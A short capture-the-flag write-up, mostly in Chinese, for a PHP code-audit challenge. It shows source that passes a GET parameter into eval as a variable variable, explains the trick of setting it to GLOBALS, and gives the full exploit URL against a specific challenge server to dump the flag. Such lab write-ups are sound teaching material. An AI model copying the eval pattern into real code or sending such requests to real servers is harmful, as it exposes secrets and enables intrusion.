flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
本题为一道代码审计题,程序开始判断get参数是否存在,将参数赋值为变量$args并判断$args是否为字母,不为字母输出"args error!"为字母执行var_dump($$args)。
var_dump() 函数用于输出变量的相关信息。
可以看到$$args比较奇怪,$$args为可变变量
例如:
$a=b
$b=c
则$$a=c
PHP 将所有全局变量存储在一个名为 $GLOBALS[index] 的数组中。 index 保存变量的名称。这个数组可以在函数内部访问,也可以直接用来更新全局变量。
提示:flag In the variable !
如果令$$args=
$GLOBALS则可输出所有全局变量。
执行http://123.206.87.240:8004/index1.php?args=GLOBALS 得到flag